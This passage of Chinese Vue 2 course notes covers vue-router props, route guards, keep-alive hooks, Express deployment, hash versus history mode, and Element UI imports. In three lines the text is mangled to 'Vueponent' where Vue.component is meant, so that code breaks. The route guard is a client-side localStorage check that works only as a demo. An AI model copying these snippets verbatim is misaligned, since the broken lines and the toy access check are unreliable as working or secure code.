</script>

pages下的Detail.vue中使用$route.params获取数据

<template>
  <ul>
    <li>消息编号{{$route.params.id}}</li>
    <li>消息标题{{$route.params.title}}</li>
  </ul>
</template>

<script>
export default {
    name:"Detail"
}
</script>

路由的props配置

作用:让路由组件更方便的收到参数

还是上面的案例

我们给message.vue中需要传给Detail.vue的参数进行在router的index.js中配置路由中,使用props

src下的router下的index.js

// 该文件专门用来创建整个应用的路由器
import VueRouter from "vue-router";
//引入组件
import About from "../pages/About"
import Home from "../pages/Home"
import Message from "../pages/Message.vue"
import News from "../pages/News.vue"
import Detail from "../pages/Detail.vue"
// 创建一个路由器
/* const router =  */
//创建并暴露一个路由器
export default new VueRouter({
    routes:[
        {
            name:"guanyu",
            path:'/about',
            component:About
        },
        {// 一级路由
            path:'/home',
            component:Home,
            children:[
                {// 一级路由的子路由,path不需要加斜杠了
                    path:"news",
                    component:News
                },
                {// 一级路由的子路由,path不需要加斜杠了
                    path:"message",
                    component:Message,
                    children:[//二级路由的子路由
                        {
                            name:"xiangqing",
                            path:"detail",  // 这个是用query参数的时候,并且message中的to需要使用query传参
                            // params参数由于是类似restFul风格的路径传参,所以得用以下方式占位
                            //path:"detail/:id/:title",  //这个是用params参数的时候,并且message中的to需要用params传参
                            component:Detail,

                            // props的第一种写法:值为对象,该对象中的所有key-value都会以props的形式传给Detail组件
                            // 这种写法用的非常少,因为传递的是死数据
                            //props:{a:1,b:"hello"}

                            // props的第二种写法:值为布尔值。若布尔值为真,就会把该路由组件收到的所有的params参数,以props的形式传给Detail组件
                            //props:true

                            // props的第三种写法:值为函数。
                            props($route){
                                return {id:$route.query.id,title:$route.query.title}
                            },
                            // 第三种写法的使用解构赋值
                            /* props({query}){
                                return {id:query.id,title:query.title}
                            }, */
                            // 第三种写法的连续解构赋值
                            /* props({query:{id,title}}){
                                return {id:id,title:title}
                            } */

                        }
                    ]
                }
            ]
        },
    ]
})

pages中的Message.vue

<template>
  <div>
    <ul>
        <li v-for="m in messageList" :key="m.id">
            <!-- 跳转路由并携带params参数,to的字符串写法 -->
            <!-- <router-link active-class="active" :to="`/home/message/detail/${m.id}/${m.title}`">{{m.title}}</router-link>&nbsp;&nbsp; -->
            <!-- 跳转路由并携带params参数,to的对象写法 -->
            <router-link :to="{
                // 当使用params传参的时候,路径这里,不允许使用path:'',只能使用name:''
                name:'xiangqing',
                query:{
                    id:m.id,
                    title:m.title
                }
            }">
                {{m.title}}
            </router-link>
        </li>
    </ul>
    <hr/>
    <router-view></router-view>
  </div>
</template>

<script>
export default {
    name:"Message",
    data() {
        return {
            messageList:[
                {id:"001",title:"消息001"},
                {id:"002",title:"消息002"},
                {id:"003",title:"消息003"},
            ]        
        }
    },
    
}
</script>

pages下的Detail.vue就可以不用写$route.query.id,直接写id了

<template>
  <ul>
<!--     <li>消息编号{{$route.params.id}}</li>
    <li>消息标题{{$route.params.title}}</li> -->
    <li>消息编号{{id}}</li>
    <li>消息标题{{title}}</li>
  </ul>
</template>

<script>
export default {
    name:"Detail",
    props:["id","title"]
}
</script>

router-link的replace属性

路由对浏览器历史记录的影响:浏览器左上角的前进和后退按钮是依赖于浏览器的历史记录的。

每一次导航的点击都也会留下历史记录。
默认的push模式为:每次点击的记录会以栈的结构存入历史记录中,  
replace模式为:后放的元素会替换掉先放入的栈顶元素。一直不能后退。如果想开启replace模式,需要在<router-link>标签中加上replace或:replace="true"

<router-link>的replace属性
1.作用:控制路由跳转时操作浏览器历史记录的模式
⒉浏览器的历史记录有两种写入方式:分别为push和replace , push是追加历史记录,replace是替换当前记录I路由跳转时候默认为push
3.如何开启replace模式:<router-link replace ..... ..>News</router-link>

编程式路由导航

编程式路由导航即不借助router-link的路由导航,如果不写<router-link>能不能实现路由跳转呢?比如说,现在的导航按钮是用a标签写的,但如果是用的button按钮写的呢?

this.$router.push()     this.$router.replace()

this.$router.back()   this.$router.forward()  this.$router.go(1)

还是上面的案例

Message.vue使用编程式路由导航给push查看按钮和replace查看按钮

<template>
  <div>
    <ul>
        <li v-for="m in messageList" :key="m.id">
            <!-- 跳转路由并携带params参数,to的字符串写法 -->
            <!-- <router-link active-class="active" :to="`/home/message/detail/${m.id}/${m.title}`">{{m.title}}</router-link>&nbsp;&nbsp; -->
            <!-- 跳转路由并携带params参数,to的对象写法 -->
            <router-link :to="{
                // 当使用params传参的时候,路径这里,不允许使用path:'',只能使用name:''
                name:'xiangqing',
                query:{
                    id:m.id,
                    title:m.title
                }
            }">
                {{m.title}}
            </router-link>
            <button @click="pushShow(m)">push查看</button>
            <button @click="replaceShow(m)">replace查看</button>
        </li>
    </ul>
    <hr/>
    <router-view></router-view>
  </div>
</template>

<script>
export default {
    name:"Message",
    data() {
        return {
            messageList:[
                {id:"001",title:"消息001"},
                {id:"002",title:"消息002"},
                {id:"003",title:"消息003"},
            ]        
        }
    },
    methods:{
        pushShow(m){
            this.$router.push({
                name:'xiangqing',
                query:{
                    id:m.id,
                    title:m.title
                }
            })
        },
        replaceShow(m){
            this.$router.replace({
                name:'xiangqing',
                query:{
                    id:m.id,
                    title:m.title
                }
            })
        }
    }
    
}
</script>

在普通组件components中的Banner.vue中加上前进后退按钮

<template>
  <div>
    <h1>Vue Router Demo</h1>
    <button @click="back">后退</button>
    <button @click="forward">前进</button>
    <button @click="test">测试一下go</button>
  </div>
</template>

<script>
export default {
 name:"Banner",
 methods:{
  back(){
    this.$router.back()
  },
  forward(){
    this.$router.forward()
  },
  test(){
    this.$router.go(1)// 传入正数就连续向前n步,传入负数就连续后退n步
  }
 }
}
</script>

<style>

</style>

缓存路由组件

 new导航中的news中输入框写点东西不提交,然后切导航到message,再切回news导航,就会发现之前input框中输入的东西不见了,因为路由切换后就会被销毁

怎样让切走路由后不被销毁?需要在该路由所展示的<router-view>外侧包一个<keep-alive>标签,但会保存所有能呈现在该区域的路由组件,如果只想保存某个固定的路由组件,需要加上<keep-alive include="News"></keep-alive>includde对应的组件中的组件名(比如News组件中的export defalut中的name为News,这里就写News),就会只缓存该组件不被销毁了

 还是上面的案例

在Home.vue中的<router-view>使用<keep-alive>包裹起来,因为News的路由是在这展示的。

<template>
  <div>
    <h2>我是Home内容</h2>
    <!-- to的路径子级路径需要带着父级路径 -->
    <router-link active-class="active" to="/home/news">News</router-link>&nbsp;&nbsp;&nbsp;
    <router-link active-class="active" to="/home/message">Message</router-link>
    <hr/>
    <hr/>
    <keep-alive include="News">
    <!--     <keep-alive :include="['News','Message']">  -->
        <router-view></router-view>
    </keep-alive>
  </div>
</template>

<script>
export default {
    name:"Home",
}
</script>

News.vue中input框

<template>
  <ul>
    <li>news001 <input type="text"/></li>
    <li>news002 <input type="text"/></li>
    <li>news003 <input type="text"/></li>
  </ul>
</template>

<script>
export default {
    name:"News"
}
</script>

这样在News导航的页面的input输入东西后,切回Message页面,也不会销毁之前的News路由页面内容,导致input框中的东西消失了

作用:让不展示的路由组件保持挂载,不被销毁。

两个新的生命周期钩子

 我们给news导航News.vue中加上一个定时器,周而复始的透明的0-1的显示欢迎学习Vue。但由于我们上节课对News组件的路由做了缓存,所以当我们切换到Message导航菜单后,News中还是进行着定时器的动作

作用:路由组件所独有的两个钩子,用于捕获路由组件的激活状态。l
具体名字:
1. activated路由组件被激活时触发。
2. deactivated路由组件失活时触发。

单独对路由有两个生命周期钩子,activated(){}激活(News组件从没出现到出现为激活),deactivated(){}失活(News组件从出现到切走为失活)

还是接着上面的案例

News.vue中

<template>
  <ul>
    <li :style="{opacity}">欢迎学习Vue</li>
    <li>news001 <input type="text"/></li>
    <li>news002 <input type="text"/></li>
    <li>news003 <input type="text"/></li>
  </ul>
</template>

<script>
export default {
    name:"News",
    data() {
      return {
        opacity:1
      }
    },
    /* beforeDestroy(){
      console.log('News组件即将被销毁')
      clearInterval(this.timer)
    },
    mounted(){
      this.timer = setInterval(()=>{
        this.opacity-=0.01
        if(this.opacity<=0) this.opacity=1
      },16)
    } */
    activated(){
      console.log("News被激活了")
      this.timer = setInterval(()=>{
        this.opacity-=0.01
        if(this.opacity<=0) this.opacity=1
      },16)
    },
    deactivated(){
      console.log("News失活了")
      clearInterval(this.timer)
    }
}
</script>

全局前置-路由守卫

路由守卫:保护路由的安全。
御前侍卫:保护君王的安全。

比如上面的案例,About和Home导航按钮都可以点击展示相应的呈现,但你News和Message导航做个限制,只有学校为尚硅谷才能看News和Message。
也就是点击News和Message导航按键的时候做一个校验,(这里为了方便,将school为尚硅谷的数据放到了浏览器localStorage中,你也可放到vuex中等地方),如果学校不是尚硅谷就点不了,权限的问题。
主要做法为找router商量当访问路径为/home/News的时候做个校验,如果学校不是尚硅谷就不呈现了。
先用一个变量接住new VueRouter,暴露前加上一个路由守卫,router.beforeEach(()=>{})在每次路由切换之前调用回调函数

src下router下index.js文件夹中先用一个变量接住new VueRouter,暴露前加上一个路由守卫,router.beforeEach(()=>{})在每次路由切换之前调用回调函数,在路由守卫里配置什么情况下放行

// 该文件专门用来创建整个应用的路由器
import VueRouter from "vue-router";
//引入组件
import About from "../pages/About"
import Home from "../pages/Home"
import Message from "../pages/Message.vue"
import News from "../pages/News.vue"
import Detail from "../pages/Detail.vue"
// 创建一个路由器
/* const router =  */
//创建并暴露一个路由器
/* export default */ 

/* 先别暴露,暴露前加上全局前置路由守卫 */
const router =  new VueRouter({
    routes:[
        {
            name:"guanyu",
            path:'/about',
            component:About
        },
        {// 一级路由
            name:"zhuye",
            path:'/home',
            component:Home,
            children:[
                {// 一级路由的子路由,path不需要加斜杠了
                    name:"xinwen",
                    path:"news",
                    component:News
                },
                {// 一级路由的子路由,path不需要加斜杠了
                    name:"xiaoxi",
                    path:"message",
                    component:Message,
                    children:[//二级路由的子路由
                        {
                            name:"xiangqing",
                            path:"detail",  // 这个是用query参数的时候,并且message中的to需要使用query传参
                            // params参数由于是类似restFul风格的路径传参,所以得用以下方式占位
                            //path:"detail/:id/:title",  //这个是用params参数的时候,并且message中的to需要用params传参
                            component:Detail,

                            // props的第一种写法:值为对象,该对象中的所有key-value都会以props的形式传给Detail组件
                            // 这种写法用的非常少,因为传递的是死数据
                            //props:{a:1,b:"hello"}

                            // props的第二种写法:值为布尔值。若布尔值为真,就会把该路由组件收到的所有的params参数,以props的形式传给Detail组件
                            //props:true

                            // props的第三种写法:值为函数。
                            props($route){
                                return {id:$route.query.id,title:$route.query.title}
                            },
                            // 第三种写法的使用解构赋值
                            /* props({query}){
                                return {id:query.id,title:query.title}
                            }, */
                            // 第三种写法的连续解构赋值
                            /* props({query:{id,title}}){
                                return {id:id,title:title}
                            } */

                        }
                    ]
                }
            ]
        },
    ]
})
// 全局前置路由守卫  在初始化和每次路由切换之前调用回调函数
router.beforeEach((to,from,next)=>{
    console.log(to,from)
    // to为点击导航后的目标的路由的信息,from为点导航之前的路由信息,next为放行
    // next()
    /* if(localStorage.getItem('school')==='atguigu'){
        next()
    } */
    // if(to.name==='xinwen'|| to.name ==='xiaoxi'){
    if(to.path==='/home/news'|| to.path ==='/home/message'){
        if(localStorage.getItem('school')==='atguigu'){
            next()
        }else{
            alert("学校名不对,无权限查看")
        }
    }else{
        next()
    }
})

export default router

上面的路由守卫,我们一点一点的配置路径的判断和放行to.path==='/home/news'|| to.path ==='/home/message'。其实还有个更好的方式,给每个路由配置中加上特殊属性用于标识本路由是否需要进行权限判断。可放到meta{}中,即路由源信息 

 如下src下的router的index.js中先在News和message中加上meta{isAth:true},下面前置路由守卫中直接根据to的目的地是否需要进行鉴权来走这个逻辑

// 该文件专门用来创建整个应用的路由器
import VueRouter from "vue-router";
//引入组件
import About from "../pages/About"
import Home from "../pages/Home"
import Message from "../pages/Message.vue"
import News from "../pages/News.vue"
import Detail from "../pages/Detail.vue"
// 创建一个路由器
/* const router =  */
//创建并暴露一个路由器
/* export default */ 

/* 先别暴露,暴露前加上全局前置路由守卫 */
const router =  new VueRouter({
    routes:[
        {
            name:"guanyu",
            path:'/about',
            component:About,
        },
        {// 一级路由
            name:"zhuye",
            path:'/home',
            component:Home,
            children:[
                {// 一级路由的子路由,path不需要加斜杠了
                    name:"xinwen",
                    path:"news",
                    component:News,
                    //在源信息中加上一个标识
                    meta:{isAuth:true}
                },
                {// 一级路由的子路由,path不需要加斜杠了
                    name:"xiaoxi",
                    path:"message",
                    component:Message,
                    //在源信息中加上一个标识
                    meta:{isAuth:true},                    
                    children:[//二级路由的子路由
                        {
                            name:"xiangqing",
                            path:"detail",  // 这个是用query参数的时候,并且message中的to需要使用query传参
                            // params参数由于是类似restFul风格的路径传参,所以得用以下方式占位
                            //path:"detail/:id/:title",  //这个是用params参数的时候,并且message中的to需要用params传参
                            component:Detail,

                            // props的第一种写法:值为对象,该对象中的所有key-value都会以props的形式传给Detail组件
                            // 这种写法用的非常少,因为传递的是死数据
                            //props:{a:1,b:"hello"}

                            // props的第二种写法:值为布尔值。若布尔值为真,就会把该路由组件收到的所有的params参数,以props的形式传给Detail组件
                            //props:true

                            // props的第三种写法:值为函数。
                            props($route){
                                return {id:$route.query.id,title:$route.query.title}
                            },
                            // 第三种写法的使用解构赋值
                            /* props({query}){
                                return {id:query.id,title:query.title}
                            }, */
                            // 第三种写法的连续解构赋值
                            /* props({query:{id,title}}){
                                return {id:id,title:title}
                            } */

                        }
                    ]
                }
            ]
        },
    ]
})
// 全局前置路由守卫  在初始化和每次路由切换之前调用回调函数
router.beforeEach((to,from,next)=>{
    console.log(to,from)
    // to为点击导航后的目标的路由的信息,from为点导航之前的路由信息,next为放行
    // next()
    /* if(localStorage.getItem('school')==='atguigu'){
        next()
    } */
    if(to.meta.isAuth){  //判断to的目标路由是否需要鉴权
        if(localStorage.getItem('school')==='atguigu'){
            next()
        }else{
            alert("学校名不对,无权限查看")
        }
    }else{
        next()
    }
})

export default router

 真实开发中,需要校验的为用户的token之类

 全局后置-路由守卫

比如点击about后上方的页签标题变为关于,点击home上方的页签标题变为主页,如果在前置守卫中document.title="关于",这时需在每次放行前都写一遍。

src下router下index.js

// 该文件专门用来创建整个应用的路由器
import VueRouter from "vue-router";
//引入组件
import About from "../pages/About"
import Home from "../pages/Home"
import Message from "../pages/Message.vue"
import News from "../pages/News.vue"
import Detail from "../pages/Detail.vue"
// 创建一个路由器
/* const router =  */
//创建并暴露一个路由器
/* export default */ 

/* 先别暴露,暴露前加上全局前置路由守卫 */
const router =  new VueRouter({
    routes:[
        {
            name:"guanyu",
            path:'/about',
            component:About,
            meta:{title:"关于"}
        },
        {// 一级路由
            name:"zhuye",
            path:'/home',
            component:Home,
            meta:{title:"主页"},
            children:[
                {// 一级路由的子路由,path不需要加斜杠了
                    name:"xinwen",
                    path:"news",
                    component:News,
                    //在源信息中加上一个标识
                    meta:{title:"新闻",isAuth:true}
                },
                {// 一级路由的子路由,path不需要加斜杠了
                    name:"xiaoxi",
                    path:"message",
                    component:Message,
                    //在源信息中加上一个标识
                    meta:{title:"消息",isAuth:true},                    
                    children:[//二级路由的子路由
                        {
                            name:"xiangqing",
                            path:"detail",  // 这个是用query参数的时候,并且message中的to需要使用query传参
                            // params参数由于是类似restFul风格的路径传参,所以得用以下方式占位
                            //path:"detail/:id/:title",  //这个是用params参数的时候,并且message中的to需要用params传参
                            component:Detail,
                            meta:{title:"详情",isAuth:true},                    
                            // props的第一种写法:值为对象,该对象中的所有key-value都会以props的形式传给Detail组件
                            // 这种写法用的非常少,因为传递的是死数据
                            //props:{a:1,b:"hello"}

                            // props的第二种写法:值为布尔值。若布尔值为真,就会把该路由组件收到的所有的params参数,以props的形式传给Detail组件
                            //props:true

                            // props的第三种写法:值为函数。
                            props($route){
                                return {id:$route.query.id,title:$route.query.title}
                            },
                            // 第三种写法的使用解构赋值
                            /* props({query}){
                                return {id:query.id,title:query.title}
                            }, */
                            // 第三种写法的连续解构赋值
                            /* props({query:{id,title}}){
                                return {id:id,title:title}
                            } */

                        }
                    ]
                }
            ]
        },
    ]
})
// 全局前置路由守卫  在初始化和每次路由切换之前调用回调函数
router.beforeEach((to,from,next)=>{
    console.log("前置路由守卫",to,from)
    // to为点击导航后的目标的路由的信息,from为点导航之前的路由信息,next为放行
    // next()
    /* if(localStorage.getItem('school')==='atguigu'){
        next()
    } */
    if(to.meta.isAuth){  //判断to的目标路由是否需要鉴权
        if(localStorage.getItem('school')==='atguigu'){
            // document.title = to.meta.title || "硅谷系统"
            next()
        }else{
            alert("学校名不对,无权限查看")
        }
    }else{
        // document.title = to.meta.title || "硅谷系统"
        next()
    }
})
// 全局后置路由守卫——初始化的时候被调用、每次路由切换之后被调用
router.afterEach((to,from)=>{
    console.log("后置路由守卫",to,from)
    document.title = to.meta.title || "硅谷系统"   //借助后置路由守卫,这个就只用写一遍即可
})

export default router

且public下的index.html中的<title>硅谷项目</title>中也需要改

独享路由守卫

不同于上面讲的全局路由守卫,

每个路由所单独享用的路由守卫。

 独享路由守卫只有前置没有后置,独享路由守卫和后置全局守卫也可以一起使用

还是上面项目,src下router下的index.js

// 该文件专门用来创建整个应用的路由器
import VueRouter from "vue-router";
//引入组件
import About from "../pages/About"
import Home from "../pages/Home"
import Message from "../pages/Message.vue"
import News from "../pages/News.vue"
import Detail from "../pages/Detail.vue"
// 创建一个路由器
/* const router =  */
//创建并暴露一个路由器
/* export default */ 

/* 先别暴露,暴露前加上全局前置路由守卫 */
const router =  new VueRouter({
    routes:[
        {
            name:"guanyu",
            path:'/about',
            component:About,
            meta:{title:"关于"}
        },
        {// 一级路由
            name:"zhuye",
            path:'/home',
            component:Home,
            meta:{title:"主页"},
            children:[
                {// 一级路由的子路由,path不需要加斜杠了
                    name:"xinwen",
                    path:"news",
                    component:News,
                    //在源信息中加上一个标识
                    meta:{title:"新闻",isAuth:true},
                    beforeEnter:(to,from,next)=>{
                        console.log("新闻news的独享路由守卫",to,from)
                        // to为点击导航后的目标的路由的信息,from为点导航之前的路由信息,next为放行
                        // next()
                        if(to.meta.isAuth){  //判断to的目标路由是否需要鉴权
                            if(localStorage.getItem('school')==='atguigu'){
                                // document.title = to.meta.title || "硅谷系统"
                                next()
                            }else{
                                alert("学校名不对,无权限查看")
                            }
                        }else{
                            // document.title = to.meta.title || "硅谷系统"
                            next()
                        }
                    }
                },
                {// 一级路由的子路由,path不需要加斜杠了
                    name:"xiaoxi",
                    path:"message",
                    component:Message,
                    //在源信息中加上一个标识
                    meta:{title:"消息",isAuth:true},                    
                    children:[//二级路由的子路由
                        {
                            name:"xiangqing",
                            path:"detail",  // 这个是用query参数的时候,并且message中的to需要使用query传参
                            // params参数由于是类似restFul风格的路径传参,所以得用以下方式占位
                            //path:"detail/:id/:title",  //这个是用params参数的时候,并且message中的to需要用params传参
                            component:Detail,
                            meta:{title:"详情",isAuth:true},                    
                            // props的第一种写法:值为对象,该对象中的所有key-value都会以props的形式传给Detail组件
                            // 这种写法用的非常少,因为传递的是死数据
                            //props:{a:1,b:"hello"}

                            // props的第二种写法:值为布尔值。若布尔值为真,就会把该路由组件收到的所有的params参数,以props的形式传给Detail组件
                            //props:true

                            // props的第三种写法:值为函数。
                            props($route){
                                return {id:$route.query.id,title:$route.query.title}
                            },
                            // 第三种写法的使用解构赋值
                            /* props({query}){
                                return {id:query.id,title:query.title}
                            }, */
                            // 第三种写法的连续解构赋值
                            /* props({query:{id,title}}){
                                return {id:id,title:title}
                            } */

                        }
                    ]
                }
            ]
        },
    ]
})
// 全局前置路由守卫  在初始化和每次路由切换之前调用回调函数
/* router.beforeEach((to,from,next)=>{
    console.log("前置路由守卫",to,from)
    // to为点击导航后的目标的路由的信息,from为点导航之前的路由信息,next为放行
    // next()
    if(to.meta.isAuth){  //判断to的目标路由是否需要鉴权
        if(localStorage.getItem('school')==='atguigu'){
            // document.title = to.meta.title || "硅谷系统"
            next()
        }else{
            alert("学校名不对,无权限查看")
        }
    }else{
        // document.title = to.meta.title || "硅谷系统"
        next()
    }
}) */
// 全局后置路由守卫——初始化的时候被调用、每次路由切换之后被调用
router.afterEach((to,from)=>{
    console.log("后置路由守卫",to,from)
    document.title = to.meta.title || "硅谷系统"   //借助后置路由守卫,这个就只用写一遍即可
})

export default router

组件内部守卫

组件内部守卫不用写在路由器src下的router下的index.js中了,直接在组件中使用beforeRouteEnter(){},beforeRouteLeave(){},就可通过路由规则,进入和离开该组件时被调用。且也可配合全局后置路由守卫一起使用。

比如About组件中使用组件内部守卫

<template>
  <h2>我是About内容</h2>
  
</template>

<script>
export default {
    name:"About",
    // 通过路由规则,进入该组件时被调用
    beforeRouteEnter(to,from,next){
      console.log("About---beforeRouteEnter")
      // next()
        if(to.meta.isAuth){  //判断to的目标路由是否需要鉴权
          if(localStorage.getItem('school')==='atguigu'){
              next()
          }else{
              alert("学校名不对,无权限查看")
          }
        }else{
          next()
        }
    },
    // 通过路由规则,离开该组件时被调用
    beforeRouteLeave(to,from,next){
      console.log("About---beforeRouteLeave")
      next()
    }
}
</script>

vue项目打包上线

vue项目上线前需要进行打包生成纯粹的.html.css.js放到服务器上。也就是用package.json中的script中的build,即npm run build ,只打包src和public,然后运行打包后,左侧public同级目录就会有一个dist文件夹。打包后的项目需要放到服务器上部署。

使用node和express搭建一个微型服务器 

 创建一个文件夹,起名demo,右键vscode打开,打开终端,项目跟路径和npm init,起个名atguigu_test_server根目录下执行npm i express

  package.json同级目录下创建server.js

const express = require('express')

const app = express()

app.get('/person',(req,resp)=>{
    resp.send({
        name:"tom",
        age:18
    })
})

app.listen(5005,(err)=>{
    if(!err) console.log('服务器启动成功了!')
})

使用node server启动.访问http://localhost:5005/person即可

package.json根目录下创建static文件夹,这里就放将要部署到服务器上的静态资源。
需使用app上的static中间件指定静态资源,需要指定一个地址

如static下创建demo.html里面写点东西。然后server.js中加上app.use(express.static(__dirname+'/static'))

const express = require('express')

const app = express()
app.use(express.static(__dirname+'/static'))
app.get('/person',(req,resp)=>{
    resp.send({
        name:"tom",
        age:18
    })
})

app.listen(5005,(err)=>{
    if(!err) console.log('服务器启动成功了!')
})

重启服务node server,然后访问http://localhost:5005/demo.html即可 .

如果你起名字为index.html,直接访问http://localhost:5005即可默认找到index.html

然后把vue项目npm run build打包后得到的dist目录下的所有东西复制到这个static目录下即可 ,重启服务node server,,直接访问http://localhost:5005即可

history模式与hash模式

 http://localhost:8080/#/home/message这里的井号叫hash,井号后面的的路径都算hash值,hash值不会随着http请求发给服务器,#后面的东西都不会通过ajax请求发给后端服务器了。
路由器默认开启的就是hash模式。
还有一种工作模式是history模式,需要在src下的router下的index.js中的new VueRouter({mode:'history'})加上mode。    这样就路径中就没有井号了没有hash值了。
hash模式比history兼容性好一些,还有就是项目上线后hash模式的路径。

我们在src下的router下的index.js中的new VueRouter({mode:'history'})加上mode。当前为history模式,我们通过npm run build打包,将dist文件夹中东西放到上面vue项目打包上线的创建的微型的node和express服务器上,node server,然后访问localhost:5005,可可正常点击跳转路由,但一刷新就出问题了

通过点击的路由访问到了消息的详情,可正常展示
http://localhost:5005/home/message/detail?id=001&title=%E6%B6%88%E6%81%AF001
但当刷新页面时,就会Cannot GET /home/message/detail,因为压根没有这个url的资源

我们将src下的router下的index.js中的new VueRouter({mode:"hash",})改成hash模式,重新打包,将dist文件夹中的东西放到上面vue项目打包上线的创建的微型的node和express服务器上,node server,然后访问localhost:5005,可正常点击跳转路由,且为#hash值的路径,刷新后不会出现问题。因为#后面的东西都不算做资源,不会找服务器去要

所以上线的时候一般使用hash模式,如果是history模式,需要解决404问题

那就得找后端了,根据目前你所写的资源和url带过来的资源进行匹配,最终决定哪些为前端路由,哪些为后端路由的。

connect-history-api-fallback - npm

有个npm类库,如上链接,专门用来在node解决history的404问题,就不用后端java服务去一点点的写url哪些为前端路由,哪些为后端路由。
先在刚刚的node的express的微服务器根目录下运行npm install --save connect-history-api-fallback
然后在server.js中引入const history = require('connect-history-api-fallback');如下

const express = require('express')
const history = require('connect-history-api-fallback');

const app = express()
app.use(history())//这个必须在静态资源应用之前,下行代码之上
app.use(express.static(__dirname+'/static'))
app.get('/person',(req,resp)=>{
    resp.send({
        name:"tom",
        age:18
    })
})

app.listen(5005,(err)=>{
    if(!err) console.log('服务器启动成功了!')
})

重启node server,这里是history模式的打包的放入static下的。访问5005即可.也可使用nginx解决

路由器的两种工作模式

    1.对于一个url来说,什么是hash值?——#及其后面的内容就是hash值。

    2. hash值不会包含在HTTP请求中,即: hash值不会带给服务器。

    3. hash模式:

        1.地址中永远带着#号,不美观。

        ⒉.若以后将地址通过第三方手机app分享,若app校验严格,则地址会被标记为不合法。

        3.兼容性较好。

    4. history模式:

        1.地址干净,美观。

        ⒉.兼容性和hash模式相比略差。

        3.应用部署上线时需要后端人员支持,解决刷新页面服务端404的问题。

Element UI

Vue UI组件库

移动端常用U组件库

1.Vant https://youzan.github.io/vant

2.Cube UI  https://didi.github.io/cube-ui

3. Mint Ul http://mint-ui.github.io

PC端常用U组件库<

1.Element Ul https://element.eleme

2.lView Ulhttps://www.iviewui 

 element ui 

Element - The world's most popular Vue UI framework

安装:
项目根路径下:npm i element-ui

main.js中引入并使用

// 引入Vue
import Vue from 'vue'
// 引入App
import App from "./App.vue"
// 引入ElementUI组件库
import ElementUI from 'element-ui';
// 引入ElementUI全部样式
import 'element-ui/lib/theme-chalk/index.css';
// 关闭Vue的生产提示0
Vue.config.productionTip=false
// 应用ElementUI 插件
Vue.use(ElementUI)
new Vue({
  el:"#app",
  render:h=>h(App),
})

然后就是在element-ui网站上复制粘贴组件了

Element - The world's most popular Vue UI framework

App.vue

<template>
  <div>
      <button>原生的按钮</button>
      <input type="text">
      <!-- 其实下面这些标签都是组件 -->
      <!-- type为颜色,ico为图标,circle为圆角 -->
      <el-row>
        <el-button>默认按钮</el-button>
        <el-button type="primary">主要按钮</el-button>
        <el-button type="success">成功按钮</el-button>
        <el-button type="info">信息按钮</el-button>
        <el-button type="warning">警告按钮</el-button>
        <el-button type="danger">危险按钮</el-button>
      </el-row>
          <el-date-picker
            v-model="value1"
            type="date"
            placeholder="选择日期">
          </el-date-picker>
  </div>
</template>
<script>
export default {
  name:"App"
}
</script>

标签里的属性,可找到官网的相应组件的Attribute有详细介绍

 Element UI 按需引入

上面的main.js中引入的内容会把Element中的一百多个UI全注册为全局组件了,且会引入全部样式,就会造成代码体积太大了,发送给前端浏览器的包能达到7mb,太大了。
所以可以按需引入:
即上面App.vue中只使用了<el-row>和<el-button>和<el-data-picker>,我们在main.js中只引入和注册这三个组件

参考官网快速上手中的按需引入部分

Element - The world's most popular Vue UI framework

先在项目根路径安装上babel-plugin-component

npm install babel-plugin-component -D
package.json同级目录找到babel.config.js,换成以下内容

module.exports = {
  presets: [
    '@vue/cli-plugin-babel/preset',
    // 追加一个预设
    ["@babel/preset-env", { "modules": false }]
  ],
  plugins: [
    [
      "component",
      {
        "libraryName": "element-ui",
        "styleLibraryName": "theme-chalk"
      }
    ]
  ]
}

main.js使用按需引入

// 引入Vue
import Vue from 'vue'
// 引入App
import App from "./App.vue"
// 引入ElementUI组件库
// import ElementUI from 'element-ui';
// 引入ElementUI全部样式 
// import 'element-ui/lib/theme-chalk/index.css';

// 按需引入  去掉el-,将首字母大写,多个单词都大写首字母
import { Button,  Row , DatePicker} from 'element-ui';

// 关闭Vue的生产提示
Vue.config.productionTip=false
// 应用ElementUI 插件
// Vue.use(ElementUI)
// 注册组件 Button.name为el中Button的名字el-button ,当然第一个参数我们也可自己起名字,应用的时候用自己起的名字.
Vueponent(Button.name, Button);
Vueponent(Row.name, Row);
Vueponent('atguigu-data-picker', DatePicker);

new Vue({
  el:"#app",
  render:h=>h(App),
})

App.vue

<template>
  <div>
      <button>原生的按钮</button>
      <input type="text">
      <!-- 其实下面这些标签都是组件 -->
      <!-- type为颜色,ico为图标,circle为圆角 -->
      <el-row>
        <el-button>默认按钮</el-button>
        <el-button type="primary">主要按钮</el-button>
        <el-button type="success">成功按钮</el-button>
        <el-button type="info">信息按钮</el-button>
        <el-button type="warning">警告按钮</el-button>
        <el-button type="danger">危险按钮</el-button>
      </el-row>
          <atguigu-data-picker
            v-model="value1"
            type="date"
            placeholder="选择日期">
          </atguigu-data-picker>
  </div>
</template>
<script>
export default {
  name:"App"
}
</script>

如果运行npm run serve报什么not found,就安装什么即可

vue3内容请看下集

本文标签: 硅谷 笔记 张天禹 Vue